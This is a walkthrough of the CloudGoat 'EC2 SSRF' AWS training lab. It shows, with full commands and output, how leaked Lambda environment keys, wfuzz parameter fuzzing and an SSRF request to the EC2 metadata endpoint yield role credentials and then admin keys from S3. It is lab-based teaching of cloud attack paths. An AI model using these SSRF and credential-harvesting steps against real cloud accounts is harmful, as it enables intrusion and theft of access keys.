For the sixth CloudGoat scenario, EC2 SSRF, we are tasked with invoking a Lambda function, which can only be done with admin rights. The start file contains a set of IAM user credentials that give us entry into the AWS account. From there, there is a sequence of privilege escalations that result from different IAM credentials being exposed by different services. First, a set of credentials is leaked when listing out the properties of the Lambda function. The next set is a bit more tricky, and is found when exploiting an SSRF vulnerability in a website hosted by an EC2 instance. This SSRF vulnerability is used to access the EC2 metadata service and list out the IAM user credentials attached to the instance. Finally, we find an S3 bucket that contains a file with the admin credentials in plaintext. Let’s dive in to each step in more detail.
Enumerating Permissions
As usual, the first thing we’ll want to do is check our start file, which has the IAM access keys for a user named solus. We’ll slap those into our credentials file and run get-caller-identity to make sure they’re working as expected.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ cat ~/cloudgoat/ec2_ssrf_cgidh4rq1onk0x/start.txt
cloudgoat_output_aws_account_id = [REDACTED]
cloudgoat_output_solus_access_key_id = AKIAIOSFODNN7EXAMPLE
cloudgoat_output_solus_secret_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ vi ~/.aws/credentials
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ cat ~/.aws/credentials
[default]
...SNIP...
[solus]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ aws --profile solus sts get-caller-identity
{
"UserId": "AIDA3UTIROIQZGODS6AQZ",
"Account": "[REDACTED]",
"Arn": "arn:aws:iam::[REDACTED]:user/solus-ec2_ssrf_cgidh4rq1onk0x"
}
With that, we’ll enumerate the permissions of this user within the AWS account. Similar to previous scenarios, we’ll do this with the enumerate-iam tool. If you need help setting this up, check out one of the previous posts in the series.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/enumerate-iam]
└─$ ./enumerate-iam.py --access-key AKIAIOSFODNN7EXAMPLE --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
2023-01-15 16:05:00,040 - 9209 - [INFO] Starting permission enumeration for access-key-id "AKIAIOSFODNN7EXAMPLE"
2023-01-15 16:05:00,664 - 9209 - [INFO] -- Account ARN : arn:aws:iam::[REDACTED]:user/solus-ec2_ssrf_cgidh4rq1onk0x
2023-01-15 16:05:00,665 - 9209 - [INFO] -- Account Id : [REDACTED]
2023-01-15 16:05:00,666 - 9209 - [INFO] -- Account Path: user/solus-ec2_ssrf_cgidh4rq1onk0x
2023-01-15 16:05:00,739 - 9209 - [INFO] Attempting common-service describe / list brute force.
2023-01-15 16:05:01,976 - 9209 - [ERROR] Remove globalaccelerator.describe_accelerator_attributes action
2023-01-15 16:05:02,258 - 9209 - [INFO] -- lambda.list_functions() worked!
2023-01-15 16:05:02,347 - 9209 - [INFO] -- lambda.list_layers() worked!
2023-01-15 16:05:02,501 - 9209 - [INFO] -- lambda.list_event_source_mappings() worked!
2023-01-15 16:05:02,608 - 9209 - [INFO] -- lambda.list_functions() worked!
2023-01-15 16:05:02,754 - 9209 - [INFO] -- lambda.get_account_settings() worked!
2023-01-15 16:05:05,891 - 9209 - [INFO] -- sts.get_caller_identity() worked!
2023-01-15 16:05:05,969 - 9209 - [INFO] -- sts.get_session_token() worked!
2023-01-15 16:05:08,341 - 9209 - [INFO] -- dynamodb.describe_endpoints() worked!
The output tells us that the user has some access to the Lambda service, so we’ll go ahead and start poking around there. It doesn’t take very long for us to find more IAM credentials by listing out the Lambda functions. They are exposed to us through the function’s environment variables.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ aws --profile solus lambda list-functions --region us-east-1
{
"Functions": [
{
"FunctionName": "cg-lambda-ec2_ssrf_cgidh4rq1onk0x",
"FunctionArn": "arn:aws:lambda:us-east-1:[REDACTED]:function:cg-lambda-ec2_ssrf_cgidh4rq1onk0x",
"Runtime": "python3.9",
"Role": "arn:aws:iam::[REDACTED]:role/cg-lambda-role-ec2_ssrf_cgidh4rq1onk0x-service-role",
"Handler": "lambda.handler",
"CodeSize": 223,
"Description": "",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2023-01-15T21:34:51.174+0000",
"CodeSha256": "xt7bNZt3fzxtjSRjnuCKLV/dOnRCTVKM3D1u/BeK8zA=",
"Version": "$LATEST",
"Environment": {
"Variables": {
"EC2_ACCESS_KEY_ID": "AKIAIOSFODNN7EXAMPLE2",
"EC2_SECRET_KEY_ID": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY2"
}
},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "d88c6848-ae0e-4676-8f82-c3d6ab927c80",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
}
}
]
}
We can also try to invoke the function as solus, but we get denied access. Instead, we’ll focus our attention on the new credentials we’ve found.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ aws --profile solus lambda invoke --function-name cg-lambda-ec2_ssrf_cgidh4rq1onk0x --region us-east-1 output.txt
An error occurred (AccessDeniedException) when calling the Invoke operation: User: arn:aws:iam::[REDACTED]:user/solus-ec2_ssrf_cgidh4rq1onk0x is not authorized to perform: lambda:InvokeFunction on resource: arn:aws:lambda:us-east-1:[REDACTED]:function:cg-lambda-ec2_ssrf_cgidh4rq1onk0x because no identity-based policy allows the lambda:InvokeFunction action
We’ll repeat the same enumeration process by adding the new credentials to the credentials file, making sure that they work, and running enumerate-iam.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ vi ~/.aws/credentials
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ cat ~/.aws/credentials
[default]
...SNIP...
[solus]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
[ec2_user]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE2
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY2
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ aws --profile ec2_user sts get-caller-identity
{
"UserId": "AIDA3UTIROIQUMVOQABH2",
"Account": "[REDACTED]",
"Arn": "arn:aws:iam::[REDACTED]:user/wrex-ec2_ssrf_cgidh4rq1onk0x"
}
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/enumerate-iam]
└─$ ./enumerate-iam.py --access-key AKIAIOSFODNN7EXAMPLE2 --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY2
2023-01-15 16:14:39,987 - 11802 - [INFO] Starting permission enumeration for access-key-id "AKIAIOSFODNN7EXAMPLE2"
2023-01-15 16:14:40,516 - 11802 - [INFO] -- Account ARN : arn:aws:iam::[REDACTED]:user/wrex-ec2_ssrf_cgidh4rq1onk0x
2023-01-15 16:14:40,517 - 11802 - [INFO] -- Account Id : [REDACTED]
2023-01-15 16:14:40,517 - 11802 - [INFO] -- Account Path: user/wrex-ec2_ssrf_cgidh4rq1onk0x
2023-01-15 16:14:40,591 - 11802 - [INFO] Attempting common-service describe / list brute force.
2023-01-15 16:14:41,269 - 11802 - [INFO] -- sts.get_session_token() worked!
2023-01-15 16:14:41,328 - 11802 - [INFO] -- ec2.describe_vpc_endpoints() worked!
2023-01-15 16:14:41,355 - 11802 - [INFO] -- sts.get_caller_identity() worked!
2023-01-15 16:14:41,368 - 11802 - [INFO] -- ec2.describe_egress_only_internet_gateways() worked!
2023-01-15 16:14:41,444 - 11802 - [INFO] -- ec2.describe_network_interfaces() worked!
2023-01-15 16:14:41,595 - 11802 - [INFO] -- ec2.describe_reserved_instances() worked!
2023-01-15 16:14:41,698 - 11802 - [INFO] -- ec2.describe_transit_gateway_route_tables() worked!
...SNIP...
2023-01-15 16:15:24,548 - 11802 - [INFO] -- ec2.describe_security_groups() worked!
The output tells us that we have credentials for a user called wrex, and as we can see, they have a ton of EC2 permissions (I’ve omitted a good chunk of the output to save space). A good place for us to continue would be to list out what instances are available.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ aws --profile ec2_user ec2 describe-instances --region us-east-1
{
"Reservations": [
{
"Groups": [],
"Instances": [
{
"AmiLaunchIndex": 0,
"ImageId": "ami-0a313d6098716f372",
"InstanceId": "i-029e9d2509e0a515b",
"InstanceType": "t2.micro",
"KeyName": "cg-ec2-key-pair-ec2_ssrf_cgidh4rq1onk0x",
"LaunchTime": "2023-01-15T21:35:00+00:00",
"Monitoring": {
"State": "disabled"
},
"Placement": {
"AvailabilityZone": "us-east-1a",
"GroupName": "",
"Tenancy": "default"
},
"PrivateDnsName": "ip-[PRIVATE_IP].ec2.internal",
"PrivateIpAddress": "[PRIVATE_IP]",
"ProductCodes": [],
"PublicDnsName": "ec2-[PUBLIC_IP].compute-1.amazonaws.com",
"PublicIpAddress": "[PUBLIC_IP]",
"State": {
"Code": 16,
"Name": "running"
},
...SNIP...
We quickly find that there is an instance running with a public IP address. Since we know the scenario is going to involve SSRF, let’s go see if anything is running on the HTTP port.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ curl http://ec2-[PUBLIC_IP].compute-1.amazonaws.com
Error
TypeError: URL must be a string, not undefined
at new Needle (/node_modules/needle/lib/needle.js:147:11)
at Function.module.exports.(anonymous function) [as get] (/node_modules/needle/lib/needle.js:819:12)
at /home/ubuntu/app/ssrf-demo-app.js:32:12
at Layer.handle [as handle_request] (/node_modules/express/lib/router/layer.js:95:5)
at next (/node_modules/express/lib/router/route.js:144:13)
at Route.dispatch (/node_modules/express/lib/router/route.js:114:3)
at Layer.handle [as handle_request] (/node_modules/express/lib/router/layer.js:95:5)
at /node_modules/express/lib/router/index.js:284:15
at Function.process_params (/node_modules/express/lib/router/index.js:346:12)
at next (/node_modules/express/lib/router/index.js:280:10)
A bit of HTML is returned after trying a simple curl request. The response is a detailed error message complaining that some URL must be a string. We can assume that this is because a parameter was not provided in our request. Once again, because we know the scenario involves SSRF, we can guess that the parameter we need to provide is probably called “url”.
Instead of guessing, you can also fuzz for the parameter with a wordlist, as shown below. In this example, the character filter is used to find the correct parameter name. By sending the request through Burp Suite or sending a wfuzz command without the filter, we can find the response length of the error message is 1031. Therefore, we want to filter for all other response lengths, because they won’t be the same error as before.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ wfuzz -u "http://ec2-[PUBLIC_IP].compute-1.amazonaws.com?FUZZ=127.0.0.1" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt --hh 1031
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://ec2-[PUBLIC_IP].compute-1.amazonaws.com?FUZZ=127.0.0.1/
Total requests: 6453
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000006115: 404 6 L 20 W 152 Ch "url"
Total time: 46.79795
Processed Requests: 6453
Filtered Requests: 6452
Requests/sec.: 137.8906
Great, there is a response length of 152 for the “url” parameter. Let’s see what we can do with it.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ curl http://ec2-[PUBLIC_IP].compute-1.amazonaws.com?url=http://127.0.0.1
Welcome to sethsec's SSRF demo.
I wanted to be useful, but I could not find: http://127.0.0.1 for you
We run into a different error message when attempting SSRF with the loopback address. It’s telling us that it cannot contact the loopback address, so we should try something else. Since we are in an AWS environment, a next logical step is checking if the metadata service is available. As shown in previous posts, you can easily find the IP address of the metadata service in AWS documentation.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ curl http://ec2-[PUBLIC_IP].compute-1.amazonaws.com?url=http://169.254.169.254/latest/meta-data/
Welcome to sethsec's SSRF demo.
I am an application. I want to be useful, so I requested: http://169.254.169.254/latest/meta-data/ for you
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hibernation/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
system
This response tells us that the metadata service is accessible, which is good news. Let’s continue to dig by looking for more credentials.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ curl http://ec2-[PUBLIC_IP].compute-1.amazonaws.com?url=http://169.254.169.254/latest/meta-data/iam/security-credentials
Welcome to sethsec's SSRF demo.
I am an application. I want to be useful, so I requested: http://169.254.169.254/latest/meta-data/iam/security-credentials for you
cg-ec2-role-ec2_ssrf_cgidh4rq1onk0x
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ curl http://ec2-[PUBLIC_IP].compute-1.amazonaws.com?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-ec2_ssrf_cgidh4rq1onk0x
Welcome to sethsec's SSRF demo.
I am an application. I want to be useful, so I requested: http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-ec2_ssrf_cgidh4rq1onk0x for you
{
"Code" : "Success",
"LastUpdated" : "2023-01-15T22:12:41Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "AKIAIOSFODNN7EXAMPLE3",
"SecretAccessKey" : "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY3",
"Token" : [REDACTED],
"Expiration" : "2023-01-16T04:33:11Z"
}
Sure enough, we find another set of credentials. By now, you know the drill. We’ll put these in the credentials file, make sure they work, and run enumerate-iam.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ vi ~/.aws/credentials
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ cat ~/.aws/credentials
[default]
...SNIP...
[solus]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
[ec2_user]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE2
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY2
[ec2_role]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE3
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY3
aws_session_token = [REDACTED]
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ aws --profile ec2_role sts get-caller-identity
{
"UserId": "AROA3UTIROIQXAKLAHDDN:i-029e9d2509e0a515b",
"Account": "[REDACTED]",
"Arn": "arn:aws:sts::[REDACTED]:assumed-role/cg-ec2-role-ec2_ssrf_cgidh4rq1onk0x/i-029e9d2509e0a515b"
}
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/enumerate-iam]
└─$ ./enumerate-iam.py --access-key AKIAIOSFODNN7EXAMPLE3 --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY3 --session-token [REDACTED]
2023-01-15 17:06:51,633 - 25669 - [INFO] Starting permission enumeration for access-key-id "AKIAIOSFODNN7EXAMPLE3"
2023-01-15 17:06:52,212 - 25669 - [INFO] -- Account ARN : arn:aws:sts::[REDACTED]:assumed-role/cg-ec2-role-ec2_ssrf_cgidh4rq1onk0x/i-029e9d2509e0a515b
2023-01-15 17:06:52,213 - 25669 - [INFO] -- Account Id : [REDACTED]
2023-01-15 17:06:52,213 - 25669 - [INFO] -- Account Path: assumed-role/cg-ec2-role-ec2_ssrf_cgidh4rq1onk0x/i-029e9d2509e0a515b
2023-01-15 17:06:53,075 - 25669 - [INFO] Attempting common-service describe / list brute force.
2023-01-15 17:06:56,734 - 25669 - [ERROR] Remove globalaccelerator.describe_accelerator_attributes action
2023-01-15 17:06:57,181 - 25669 - [INFO] -- sts.get_caller_identity() worked!
2023-01-15 17:06:59,243 - 25669 - [INFO] -- s3.list_buckets() worked!
2023-01-15 17:07:00,046 - 25669 - [INFO] -- dynamodb.describe_endpoints() worked!
These credentials have some S3 permissions, so we’ll go ahead and list out the buckets available and download any files of interest.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ aws --profile ec2_role s3 ls
2023-01-15 15:34:43 cg-secret-s3-bucket-ec2-ssrf-cgidh4rq1onk0x
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ aws --profile ec2_role s3 ls s3://cg-secret-s3-bucket-ec2-ssrf-cgidh4rq1onk0x
2023-01-15 15:34:44 62 admin-user.txt
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ aws --profile ec2_role s3 cp s3://cg-secret-s3-bucket-ec2-ssrf-cgidh4rq1onk0x/admin-user.txt .
download: s3://cg-secret-s3-bucket-ec2-ssrf-cgidh4rq1onk0x/admin-user.txt to ./admin-user.txt
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ cat admin-user.txt
AKIAIOSFODNN7EXAMPLE4
wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY4
Hey, what do you know, more credentials! Based on the file name, they look like they’re for an administrator. We’ll run through the same enumeration process again with these credentials.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ vi ~/.aws/credentials
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ cat ~/.aws/credentials
[default]
...SNIP...
[solus]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
[ec2_user]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE2
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY2
[ec2_role]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE3
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY3
aws_session_token = [REDACTED]
[admin-user]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE4
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY4
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ aws --profile admin-user sts get-caller-identity
{
"UserId": "AIDA3UTIROIQQZ5LEM3DF",
"Account": "[REDACTED]",
"Arn": "arn:aws:iam::[REDACTED]:user/shepard-ec2_ssrf_cgidh4rq1onk0x"
}
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/enumerate-iam]
└─$ ./enumerate-iam.py --access-key AKIAIOSFODNN7EXAMPLE4 --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY4
2023-01-15 17:29:27,464 - 31855 - [INFO] Starting permission enumeration for access-key-id "AKIAIOSFODNN7EXAMPLE4"
2023-01-15 17:29:28,031 - 31855 - [INFO] -- Account ARN : arn:aws:iam::[REDACTED]:user/shepard-ec2_ssrf_cgidh4rq1onk0x
2023-01-15 17:29:28,032 - 31855 - [INFO] -- Account Id : [REDACTED]
2023-01-15 17:29:28,033 - 31855 - [INFO] -- Account Path: user/shepard-ec2_ssrf_cgidh4rq1onk0x
2023-01-15 17:29:28,106 - 31855 - [INFO] Attempting common-service describe / list brute force.
2023-01-15 17:29:30,566 - 31855 - [INFO] -- dynamodb.describe_endpoints() worked!
2023-01-15 17:29:32,589 - 31855 - [INFO] -- sts.get_session_token() worked!
2023-01-15 17:29:34,203 - 31855 - [INFO] -- lambda.list_functions() worked!
2023-01-15 17:29:34,303 - 31855 - [INFO] -- lambda.list_functions() worked!
2023-01-15 17:29:34,388 - 31855 - [INFO] -- lambda.get_account_settings() worked!
2023-01-15 17:29:34,470 - 31855 - [INFO] -- lambda.list_layers() worked!
2023-01-15 17:29:34,622 - 31855 - [INFO] -- lambda.list_event_source_mappings() worked!
2023-01-15 17:29:34,962 - 31855 - [INFO] -- sts.get_caller_identity() worked!
2023-01-15 17:30:49,590 - 31855 - [ERROR] Remove globalaccelerator.describe_accelerator_attributes action
Now we are an admin user named shepard and have some permissions to the Lambda service. Let’s try running the Lambda function from earlier.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ aws --profile admin-user lambda invoke --function-name cg-lambda-ec2_ssrf_cgidh4rq1onk0x --region us-east-1 output.txt
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/ec2_ssrf]
└─$ cat output.txt
"You win!"
The function successfully gets invoked and returns some output. With that, we’ve successfully completed the scenario! Since we have not created any resources, no additional cleanup is needed in order to destroy this scenario. Happy hacking, and until next time..